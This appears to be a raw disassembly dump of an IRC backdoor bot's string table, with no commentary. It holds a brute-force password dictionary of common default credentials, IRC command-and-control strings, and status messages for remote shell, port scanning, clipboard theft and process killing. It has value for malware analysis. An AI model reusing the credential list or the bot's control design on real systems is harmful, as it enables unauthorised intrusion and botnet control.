a110		db '110',0              ; DATA XREF: seg002:0042C42Co
					; seg002:0042E164o
a2600		db '2600',0             ; DATA XREF: seg002:0042C428o
					; seg002:0042E2ECo
		align 4
a2002		db '2002',0             ; DATA XREF: seg002:0042C420o
					; seg002:0042E2D8o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg002:0042C41Co
		align 10h
aEnable		db 'enable',0           ; DATA XREF: seg002:0042C418o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg002:0042C414o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg002:0042C410o
a123asd		db '123asd',0           ; DATA XREF: seg002:0042C40Co
					; seg002:0042E1F8o
		align 4
aSuper		db 'super',0            ; DATA XREF: seg002:0042C408o
		align 10h
aInternet	db 'Internet',0         ; DATA XREF: seg002:0042C404o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg002:0042C3FCo
					; seg002:0042E1FCo
		align 4
aSybase		db 'sybase',0           ; DATA XREF: seg002:0042C3F8o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg002:0042C3F0o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: seg002:0042C3ECo
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg002:0042C3E4o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: seg002:0042C3E0o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg002:0042C3DCo
					; seg002:0042E130o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg002:0042C3D8o
					; seg002:0042E018o
		align 4
a111		db '111',0              ; DATA XREF: seg002:0042C3D4o
					; seg002:0042E004o
a54321		db '54321',0            ; DATA XREF: seg002:0042C3D0o
					; seg002:0042E2F8o
		align 10h
a654321		db '654321',0           ; DATA XREF: seg002:0042C3CCo
					; seg002:0042E2FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:0042C3C8o
					; seg002:0042E1B8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: seg002:0042C3C4o
					; seg002:0042E1B4o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: seg002:0042C3C0o
					; seg002:0042E1B0o
a123456		db '123456',0           ; DATA XREF: seg002:0042C3BCo
					; seg002:0042E1ACo
		align 10h
a12345		db '12345',0            ; DATA XREF: seg002:0042C3B8o
					; seg002:0042E1A8o
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:0042C3B4o
					; seg002:0042E1A4o
		align 10h
a123		db '123',0              ; DATA XREF: seg002:0042C3B0o
					; seg002:0042E19Co
a12		db '12',0               ; DATA XREF: seg002:0042C3ACo
					; seg002:0042E190o
		align 4
a1:					; DATA XREF: seg002:0042C3A8o
					; seg002:0042DFFCo
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg002:0042C3A4o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg002:0042C3A0o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: seg002:0042C39Co
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg002:0042C398o
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg002:0042C394o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg002:0042C390o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: seg002:0042C38Co
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg002:0042C388o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg002:0042C384o
					; seg002:0042E398o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg002:0042C380o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: seg002:0042C378o
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg002:0042C374o
		align 4
aEdu		db 'edu',0              ; DATA XREF: seg002:0042C370o
aOwner_1	db 'Owner',0            ; DATA XREF: seg002:0042C36Co
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: seg002:0042C368o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg002:0042C364o
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: seg002:0042C360o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg002:0042C35Co
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: seg002:0042C358o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg002:0042C354o
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: seg002:0042C350o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg002:0042C34Co
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: seg002:0042C348o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg002:0042C344o
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: seg002:0042C340o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg002:0042C33Co
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: seg002:0042C334o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg002:0042C330o
		align 4
aBla		db 'bla',0              ; DATA XREF: seg002:0042C32Co
aFubar		db 'fubar',0            ; DATA XREF: seg002:0042C328o
		align 10h
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg002:0042C31Co
		align 10h
aDb2		db 'db2',0              ; DATA XREF: seg002:0042C30Co
aOracle		db 'oracle',0           ; DATA XREF: seg002:0042C308o
					; seg002:0042C3F4o
		align 4
aDba		db 'dba',0              ; DATA XREF: seg002:0042C304o
aDatabase	db 'database',0         ; DATA XREF: seg002:0042C300o
					; seg002:0042C3E8o
		align 4
aDefault	db 'default',0          ; DATA XREF: seg002:0042C2FCo
					; seg002:0042CA88o
aGuest_0	db 'guest',0            ; DATA XREF: seg002:0042C2F8o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:0042C2F4o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:0042C2F0o
					; seg002:0042DA1Co
aStudent	db 'student',0          ; DATA XREF: seg002:0042C2ECo
					; seg002:0042D964o
aOwner		db 'owner',0            ; DATA XREF: seg002:0042C2E8o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: seg002:0042C2E4o
					; seg002:0042C400o
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg002:0042C2DCo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: seg002:0042C2D4o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:0042C2D0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:0042C2CCo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:0042C2C8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:0042C2C4o
					; seg002:0042C324o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_41360D:loc_413718o
					; seg002:0042C2C0o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg002:off_42C214o
a@room		db '*@room',0           ; DATA XREF: seg002:off_42C210o
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h, 25207325h, 25222064h,	2273h
dword_433134	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CB59+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CCC1+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CCC1+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B18o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B03o
		align 4
dword_4331AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412AF6o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_4331E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412AD9o
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_433214	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412A7Bo
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_433254	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412A0Bo
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:004129FCo
					; seg000:00412A6Co
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:004129E8o
					; seg000:00412A58o
		align 10h
asc_4332E0:				; DATA XREF: seg000:004129B8o
		unicode	0, <~>,0
dword_4332E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412967o
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_43331C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004128B9o
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_43335C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004128AEo
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_43339C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041284Ao
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_4333C0	db    2			; DATA XREF: seg000:00412820o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_433410	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:004127AAo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:004127A4o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:0041279Do
		align 4
aSec		db 'sec',0              ; DATA XREF: seg000:00412742o
aSecure		db 'secure',0           ; DATA XREF: seg000:00412731o
		align 10h
unk_433460	db    2			; DATA XREF: seg000:00412726o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_4334AC	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: seg000:00412604o
dword_4334BC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: seg000:004125FFo
dword_4334C8	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: seg000:004125ECo
dword_4334D4	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: seg000:004125E7o
dword_4334E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004125B4o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4125A7o
		align 4
dword_433528	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412592o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_412585o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0041255Do
		align 4
dword_43357C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412511o
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_4335BC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004124D3o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_4335E8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:004124A8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_433634	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0041243Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_433664	dd 627573h		; DATA XREF: seg000:00412417o
dword_433668	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004123C8o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_433694	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:004123ADo
		dd 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_4336E0	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:00412320o
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_43370C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041229Fo
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_433738	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412270o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_433764	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041221Bo
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_433790	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00412208o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_4337E0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00412199o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: seg000:00412179o
		align 4
dword_43381C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00412122o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 10h
unk_433850	db    2			; DATA XREF: seg000:004120F6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_433884	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004120AAo
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_4338B0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_41200Do
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_4338E4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00412006o
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_433920	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00411FEAo
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_43395C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411FD4o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00411FA6o
		align 10h
unk_4339A0	db    2			; DATA XREF: seg000:loc_411F96o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
unk_4339E0	db    2			; DATA XREF: seg000:00411F7Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_433A18	db    2			; DATA XREF: seg000:loc_411F6Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_433A58	db    2			; DATA XREF: seg000:loc_411F64o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_433A98	db    2			; DATA XREF: seg000:00411F5Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
unk_433AD0	db    2			; DATA XREF: seg000:00411EDFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_433B68	db    2			; DATA XREF: seg000:00411C45o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_433B9C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:loc_411C2Fo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan, port is invalid.',0
		align 4
dword_433BE8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:00411B70o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_433C64	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411930o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433C9C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411917o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_433CD0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004118F7o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_433D04	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004118DEo
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_433D30	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_411860o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_433D70	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00411859o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_433DA8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_411813o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_433DE4	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00411809o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: seg000:004117EFo
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00411764o
					; seg000:loc_41256Fo
		align 4
dword_433E34	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004116EEo
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_433E6C	db    2			; DATA XREF: seg000:loc_4116D9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_433EA4	db    2			; DATA XREF: seg000:004116CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_433ED4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004116A6o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433F0C	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:loc_41168Ao
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_433F48	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:0041165Co
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_433F78	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_411628o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_433FBC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0041161Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_433FF4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_4115C8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_43403C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:004115C1o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_434074	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:00411580o
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4340A4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:004114FBo
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_4340DC	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:00411489o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
unk_434104	db    2			; DATA XREF: seg000:0041146Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_434154	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: seg000:004113FFo
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_434180	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: seg000:loc_411390o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_4341B0	db    2			; DATA XREF: seg000:00411386o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
